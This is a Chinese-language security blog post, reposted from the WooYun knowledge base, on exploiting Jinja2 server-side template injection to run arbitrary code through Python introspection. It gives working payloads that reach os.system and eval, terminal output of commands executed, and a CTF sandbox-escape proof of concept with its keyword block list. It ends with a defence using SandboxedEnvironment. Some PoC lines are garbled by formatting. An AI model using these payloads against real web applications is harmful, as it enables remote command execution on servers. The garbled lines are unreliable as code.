

利用 Python 特性在 Jinja2 模板中执行任意代码

原创

[Sword-heart](#) 于 2022-04-26 08:53:06 发布 51 收藏

分类专栏: [乌云知识库](#) 文章标签: [web安全](#) [网络安全](#) [安全](#) [hack](#) [wooyun](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/jd_cx/article/details/124419415

版权



[乌云知识库](#) 专栏收录该内容

79 篇文章 1 订阅

订阅专栏

0x00 简介

本文源于老外 [@nvisium](#) 在其博客发表的博文 [《Injecting Flask》](#), 在原文中作者讲解了 Python 模板引擎 [Jinja2](#) 在服务端模板注入 (SSTI) 中的具体利用方法, 在能够控制模板内容时利用环境变量中已注册的用户自定义函数进行恶意调用或利用渲染进行 XSS 等。

对于 Jinja2 模板引擎是否能够在 SSTI 的情况下直接执行命令原文并没有做出说明, 并且在 Jinja2 官方文档中也有说明, 模板中并不能够直接执行任意 Python 代码, 这样看来在 Jinja2 中直接控制模板内容来执行 Python 代码或者命令似乎不太可能。

0x01 模板中复杂的代码执行方式

最近在进行项目开发时无意中注意到 Jinja2 模板中可以访问一些 Python 内置变量, 如 `[]` `{}` 等, 并且能够使用 Python 变量类型中的一些函数, 示例代码如下:

```
1 <code>#!python
2 # coding: utf-8
3 import sys
4 from jinja2 import Template
5 template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
6 print template.render()
7 </code>
8
```

为了方便演示, 这里直接将命令参数输入拼接为模板内容的一部分并进行渲染输出, 这里我们直接输入 `{{ 'abcd' }}` 使模板直接渲染字符串变量:

```
(demo)→ jinja2Vuln python demo2.py "{{ 'abcd' }}"
Your input: abcd
(demo)→ jinja2Vuln █
```

drops.wccoyan.org

当然上面说了可以在模板中直接调用变量实例的函数，如字符串变量中的 `upper()` 函数将其字符串转换为全大写形式：

```
(demo)→ jinja2Vuln python demo2.py "{{ 'abcd' }}"
Your input: abcd
(demo)→ jinja2Vuln python demo2.py "{{ 'abcd'.upper() }}"
Your input: ABCD
(demo)→ jinja2Vuln █
```

drops.wccoyan.org

那么如何在 Jinja2 的模板中执行 Python 代码呢？如官方的说法是需要先在模板环境中注册函数才能在模板中进行调用，例如想要在模板中直接调用内置模块 `os`，即需要在模板环境中对其注册，示例代码如下：

```
1
2 <code>#!python
3 # coding: utf-8
4 import os
5 import sys
6 from jinja2 import Template
7 template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
8 template.globals['os'] = os
9 print template.render()
10 </code>
11
```

执行代码，并传入参数 `{{ os.popen('echo Hello RCE').read() }}`，因为在模板环境中已经注册了 `os` 变量为 Python `os` 模块，所以可以直接调用模块函数来执行系统命令，这里执行系统命令为 `echo Hello Command Execution`：

```
(demo)→ jinja2Vuln python demo3.py "{{ os.popen('echo Hello Commnad Execution').read() }}"
Your input: Hello Commnad Execution
(demo)→ jinja2Vuln █
```

drops.wccoyan.org

如果使用示例代码一来执行，会得到 `os` 未定义的异常错误：

```
(demo)→ jinja2Vuln python demo2.py "{{ os.popen('echo Hello Commnad Execution').read() }}"
Traceback (most recent call last):
  File "demo2.py", line 8, in <module>
    print template.render()
  File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 989,
in render
    return self.environment.handle_exception(exc_info, True)
  File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 754,
in handle_exception
    reraise(exc_type, exc_value, tb)
  File "<template>", line 1, in top-level template code
  File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 408,
in getattr
    return getattr(obj, attribute)
jinja2.exceptions.UndefinedError: 'os' is undefined
(demo)→ jinja2Vuln █
```

drops.wccoyan.org

0x02 利用 Python 特性直接执行任意代码

那么，如何在未注册 `os` 模块的情况下在模板中调用 `popen()` 函数执行系统命令呢？前面已经说了，在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量的方法，这一特点让我联想到了常见的 Python 沙盒环境逃逸方法，如 2014CSAW-CTF 中的一道 Python 沙盒绕过题目，环境代码如下：

```
1
2
3 <code>#!/python
4 #!/usr/bin/env python
5 from __future__ import print_function
6 print("Welcome to my Python sandbox! Enter commands below!")
7 banned = [
8     "import",
9     "exec",
10    "eval",
11    "pickle",
12    "os",
13    "subprocess",
14    "kevin sucks",
15    "input",
16    "banned",
17    "cry sum more",
18    "sys"
19 ]
20 targets = __builtins__.__dict__.keys()
21 targets.remove('raw_input')
22 targets.remove('print')
23 for x in targets:
24     del __builtins__.__dict__[x]
25 while 1:
26     print(">>>", end=' ')
27     data = raw_input()
28     for no in banned:
29         if no.lower() in data.lower():
30             print("No bueno")
31             break
32     else: # this means nobreak
33         exec data
34 </code>
35
36
37
```

（利用 Python 特性绕过沙盒限制的详细讲解请参考 [Writeup](#)），这里给出笔者改进后的 PoC：

```
<code>#!python
[c 1="c" 2="in" 3=[" language="for"] [/c].__class__.__base__.__subclasses__() if c.__name__
1 == 'catch_warnings'][0].__init__.__func_globals['linecache'].__dict__['o'+s'].__dict__['sy'+stem']('echo
2 Hello SandBox')
3 </code>
```

```
→ tmp python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__
.__func_globals['linecache'].__dict__['o'+s'].__dict__['sy'+stem']('echo Hello SandBox')
Hello SandBox
>>> █
```

当然通过这种方式不仅仅能够通过 os 模块来执行系统命令，还能进行文件读写等操作，具体的代码请自行构造。

回到如何在 Jinja2 模板中直接执行代码的问题上，因为模板中能够访问 Python 内置的变量和变量方法，并且还能通过 Jinja2 的模板语法去遍历变量，因此可以构造出如下模板 Payload 来达到和上面 PoC 一样的效果：

```
1 <code>#!python
2 {% for c in [].__class__.__base__.__subclasses__() %}
3 {% if c.__name__ == 'catch_warnings' %}
4 {{ c.__init__.__func_globals['linecache'].__dict__['os'].system('id') }}
5 {% endif %}
6 {% endfor %}
7 </code>
```

使用该 Payload 作为示例代码二的执行参数，最终会执行系统命令 id：

```
(demo) → jinja2Vuln python demo2.py "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__
name__ == 'catch_warnings' %}{{ c.__init__.__func_globals['linecache'].__dict__['os'].system('id') }}{
% endif %}{% endfor %}"
uid=██████████ gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(lo
calaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator
),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access
_ssh)
Your input: 0
(demo) → jinja2Vuln █
```

当然除了遍历找到 os 模块外，还能直接找回 eval 函数并进行调用，这样就能够调用复杂的 Python 代码。

原始的 Python PoC 代码如下：

```
<code>#!python
[a for a in [b for b in [c 1="c" 2="in" 3=[" language="for"
1 [/c].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings']
2 [0].__init__.__func_globals.values() if type(b) == dict] if 'eval' in a.keys()][0]['eval']
3 ('__import__("os").popen("whoami").read()')
</code>
```

在 Jinja2 中模板 Payload 如下：

```
1 <code>#!python
2 {% for c in [].__class__.__base__.__subclasses__() %}
3 {% if c.__name__ == 'catch_warnings' %}
4     {% for b in c.__init__.func_globals.values() %}
5         {% if b.__class__ == {}.__class__ %}
6             {% if 'eval' in b.keys() %}
7                 {{ b['eval']('__import__("os").popen("id").read()') }}
8             {% endif %}
9         {% endif %}
10    {% endfor %}
11{% endif %}
12{% endfor %}
13</code>
```

使用该 Payload 作为示例代码二的执行参数（注意引号转义），成功执行会使用 eval() 函数动态载入 os 模块并执行命令：

```
(demo)→ jinja2Vuln python demo2.py "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__(\"os\").popen(\"id\").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}"
Your input: [REDACTED] gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

(demo)→ jinja2Vuln |
```

0x03 利用途径和防御方法

SSTI（服务端模板注入）。通过 SSTI 控制 Web 应用渲染模板（基于 Jinja2）内容，可以轻易的进行远程代码（命令）执行。当然了，一切的前提都是模板内容可控，虽然这种场景并不常见，但难免会有程序员疏忽会有特殊的需求会让用户控制模板的一些内容。

在 Jinja2 模板中防止利用 Python 特性执行任意代码，可以使用 Jinja2 自带的沙盒环境 `jinja2.sandbox.SandboxedEnvironment`，Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性，对于未注册的变量属性访问都会抛出错误。

```
(demo)→ jinja2Vuln cat demo5.py
# coding: utf-8
import sys
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
print env.from_string('{}'.format(sys.argv[1])).render(car='moo')

(demo)→ jinja2Vuln python demo5.py "{{ [].__class__.__base__ }}"
Traceback (most recent call last):
  File "demo5.py", line 6, in <module>
    print env.from_string('{}'.format(sys.argv[1])).render(car='moo')
  File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 989,
in render
    return self.environment.handle_exception(exc_info, True)
  File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 754,
in handle_exception
    reraise(exc_type, exc_value, tb)
  File "<template>", line 1, in top-level template code
  File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/sandbox.py", line 332, in
getattr
    return obj[attribute]
jinja2.exceptions.SecurityError: access to attribute '__class__' of 'list' object is unsafe.
(demo)→ jinja2Vuln █
```

0x04 参考

- <https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf>
- [Injecting Flask](#)
- <https://hexplo.it/escaping-the-csawctf-python-sandbox/>

本文章来源于乌云知识库，文章版权归乌云知识库！